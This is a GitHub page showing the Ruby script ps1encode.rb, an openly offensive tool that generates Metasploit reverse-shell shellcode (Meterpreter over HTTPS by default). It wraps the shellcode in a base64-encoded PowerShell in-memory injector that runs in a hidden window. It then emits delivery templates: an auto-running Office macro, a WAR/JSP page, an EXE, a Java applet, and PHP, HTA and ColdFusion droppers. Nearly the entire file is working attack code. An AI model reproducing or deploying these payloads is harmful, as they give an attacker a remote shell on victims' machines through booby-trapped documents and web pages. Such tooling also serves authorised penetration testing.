-
Notifications
You must be signed in to change notification settings - Fork 14
Expand file tree
/
Copy pathps1encode.rb
More file actions
370 lines (274 loc) · 9.79 KB
/
ps1encode.rb
File metadata and controls
370 lines (274 loc) · 9.79 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
#!/usr/bin/ruby
#
# ps1encode.rb
#
# by Piotr Marszalik - peter.mars[at]outlook.com
# 05/08/2013
#
# update 6/16/2014 - logic to determine the architecture is performed
# within the powershell code rather than doing the "cd" hack
#
#
# Use to generate and encode a powershell based metasploit payloads.
#
#
# Available output types:
# => raw (encoded payload only - no powershell run options)
# => cmd (for use with bat files)
# => vba (for use with macro trojan docs) < developed in conjunction with Ryan Reynolds
# => war (tomcat) < developed in conjuntion with Tony James
# => exe (executable) requires MinGW - i586-mingw32msvc-gcc [apt-get install mingw32]
# => java (for use with malicious java applets)
# => php (for use with php pages)
# => hta (HTML applications)
# => cfm (for use with Adobe ColdFusion)
#
# Powershell code based on PowerSploit written by Matthew Graeber and SET by Dave Kennedy
# DETAILS - http://rvnsec.wordpress.com/2014/09/01/ps1encode-powershell-for-days/
#
require 'optparse'
require 'base64'
options = {}
optparse = OptionParser.new do|opts|
opts.banner = "Usage: ps1encode.rb --LHOST [default = 127.0.0.1] --LPORT [default = 443] --PAYLOAD [default = windows/meterpreter/reverse_https] --ENCODE [default = cmd]"
opts.separator ""
options[:LHOST] = "127.0.0.1"
options[:LPORT] = "443"
options[:PAYLOAD] = "windows/meterpreter/reverse_https"
options[:ENCODE] = "cmd"
opts.on('-i', '--LHOST VALUE', "Local host IP address") do |i|
options[:LHOST] = i
end
opts.on('-p', '--LPORT VALUE', "Local host port number") do |p|
options[:LPORT] = p
end
opts.on('-a', '--PAYLOAD VALUE', "Payload to use") do |a|
options[:PAYLOAD] = a
end
opts.on('-t', '--ENCODE VALUE', "Output format: raw, cmd, vba, war, exe, java, php, hta, cfm") do |t|
options[:ENCODE] = t
end
opts.separator ""
end
if ARGV.empty?
puts optparse
exit
else
optparse.parse!
end
$lhost = options[:LHOST]
$lport = options[:LPORT]
$lpayload = options[:PAYLOAD]
$lencode = options[:ENCODE]
#string byte to hex
class String
def to_hex
#"0x" + self.to_i.to_s(16)
sprintf("0x%02x", self.to_i)
end
end
def gen_PS_shellcode()
results = []
resultsS = ""
#generate the shellcode via msfpayload and write to a temp txt file
system("msfpayload #{$lpayload} LHOST=#{$lhost} LPORT=#{$lport} R > raw_shellcode_temp")
#taking raw shellcode, each byte goes into array
File.open('raw_shellcode_temp').each_byte do |b|
results << b
end
#remove temp
system("rm raw_shellcode_temp")
#go through the array, convert each byte in the array to a hex string
results.each do |i|
resultsS = resultsS + i.to_s.to_hex + ","
end
#remove last unnecessary comma
resultsS = resultsS.chop
#powershell script to be executed pre-encode
finstring = "$1 = '$c = ''[DllImport(\"kernel32.dll\")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(\"kernel32.dll\")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(\"msvcrt.dll\")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name \"Win32\" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = #{resultsS};$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$gq = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + \"\\syswow64\\WindowsPowerShell\\v1.0\\powershell\";$cmd = \"-nop -noni -enc \";iex \"& $x86 $cmd $gq\"}else{$cmd = \"-nop -noni -enc\";iex \"& powershell $cmd $gq\";}"
#convert to UTF-16 (powershell interprets base64 of UTF-16)
ec = Encoding::Converter.new("UTF-8", "UTF-16LE")
utfEncoded = ec.convert(finstring)
#string to base64 - final
finPS = Base64.encode64(utfEncoded).gsub(/\n/, '')
return finPS
end
def prep_PS_chunk(ps_shellcode)
#The below iterates through the string and chops up strings into 254 character lengths & puts it into a 2-dimensional array
splitup = []
splitup = ps_shellcode.scan(/.{1,254}/)
stringCommands=""
varFinal="stringFinal=stringA+"
splitup = splitup.flatten #make the 2-dimensional array 1-dimensional to easier iterate
splitup.each_with_index do |val, index| #cycle through the array and create the strings for VBA
val=val.tr '"','' #strip out any prior quotes in the command
stringCommands = stringCommands+"string#{index}=\"#{val}\"\n"
varFinal=varFinal+"string#{index}+"
end
varFinal=varFinal[0..-2] #create the final command that will be executed, this removes the "+" sign from the last command
return stringCommands + "\n" + varFinal
end
###########################RAW_ENCODE###########################
if $lencode == "raw"
powershell_encoded = gen_PS_shellcode()
puts powershell_encoded
end
##########################CMD_ENCODE###########################
if $lencode == "cmd"
powershell_encoded = gen_PS_shellcode()
puts "powershell -nop -win Hidden -noni -enc " + powershell_encoded
end
########################VBS_ENCODE###############################
if $lencode == "vba"
powershell_encoded = gen_PS_shellcode()
prepped_powershell_encoded = prep_PS_chunk(powershell_encoded)
#final VBA template
vbaTEMPLATE = %{Sub Auto_Open()
stringA = "powershell.exe -NoE -NoP -NonI -W Hidden -E "
#{prepped_powershell_encoded}
Shell stringFinal, 0
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
}
puts vbaTEMPLATE
end
########################WAR_ENCODE###############################
if $lencode == "war"
powershell_encoded = gen_PS_shellcode()
warTEMPLATE = %{<%@ page import="java.io.*" %>
<html>
<head>
<title>Sample</title>
</head>
<body>
<%
String yourCommand[]=\{"cmd.exe" ,"/C", " powershell -nop -win Hidden -noni -enc #{powershell_encoded} "\};
try \{
Process p = Runtime.getRuntime().exec(yourCommand);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream()));
\} catch (IOException ioe) \{
System.err.println("\\n\\n\\nIOException: "+ ioe.toString());
\}
%>
</body>
</html>
}
#web.xml - saved within WEB-INF directory
webxmlTEMPLATE = %{<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>Sample</servlet-name>
<jsp-file>/sample.jsp</jsp-file>
</servlet>
</web-app>
}
#temp dir - write in jsp file
system("mkdir wartemp")
jsp_file_temp = File.new("wartemp/sample.jsp", "w")
jsp_file_temp.write(warTEMPLATE)
jsp_file_temp.close
#new WEB-INF directory, write in web.xml
system("mkdir wartemp/WEB-INF")
webxml_file_temp = File.new("wartemp/WEB-INF/web.xml", "w")
webxml_file_temp.write(webxmlTEMPLATE)
webxml_file_temp.close
#Create JAR file
system("jar -cvf sample.war -C wartemp/ .")
#clean up
system("rm -r wartemp")
end
########################EXE_ENCODE###############################
if $lencode == "exe"
#determine if MinGW has been installed
mingw = Dir::exists?('/usr/i586-mingw32msvc')
if mingw == false
puts "Must have MinGW installed in order to compile EXEs!!"
puts "\n\tRun to download: apt-get install mingw32 \n"
exit 1
end
powershell_encoded = gen_PS_shellcode()
exeTEMPLATE = %{#include <stdio.h>
#include <stdlib.h>
int main()
\{
system("powershell -nop -win Hidden -noni -enc #{powershell_encoded}");
return 0;
\}
}
#write out to a new file
c_file_temp = File.new("c_file_temp.c", "w")
c_file_temp.write(exeTEMPLATE)
c_file_temp.close
#compiling will require MinGW installed - "apt-get install mingw32"
puts "compiling..."
system("i586-mingw32msvc-gcc c_file_temp.c -o final_.exe")
system("rm c_file_temp.c")
puts "final_.exe created!"
end
########################JAVA_ENCODE###############################
if $lencode == "java"
powershell_encoded = gen_PS_shellcode()
javaTEMPLATE = %{import java.applet.*;
import java.awt.*;
import java.io.*;
public class Java extends Applet \{
public void init() \{
Process f;
String cmd = "cmd.exe /c powershell -nop -win Hidden -noni -enc #{powershell_encoded}";
try \{
f = Runtime.getRuntime().exec(cmd);
\}
catch(IOException e) \{
e.printStackTrace();
\}
Process s;
\}
\}
}
puts javaTEMPLATE
end
######################PHP_ENCODE###############################
if $lencode == "php"
powershell_encoded = gen_PS_shellcode()
phpTEMPLATE = %{<?php
system("cmd.exe /c powershell -nop -win Hidden -noni -enc #{powershell_encoded}");
?>
}
puts phpTEMPLATE
end
######################HTA_ENCODE###############################
if $lencode == "hta"
powershell_encoded = gen_PS_shellcode()
htaTEMPLATE = %{<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c powershell -nop -win Hidden -noni -enc #{powershell_encoded}", 0
</script>
</head>
<body>
<!-- info -->
</body>
</html>
}
puts htaTEMPLATE
end
######################CFM_ENCODE###############################
if $lencode == "cfm"
powershell_encoded = gen_PS_shellcode()
cfmTEMPLATE = %{<cfexecute name = "C:\\Windows\\System32\\cmd.exe"
arguments = "/c powershell -nop -win Hidden -noni -enc #{powershell_encoded}"
timeout = "10">
</cfexecute>
}
puts cfmTEMPLATE
end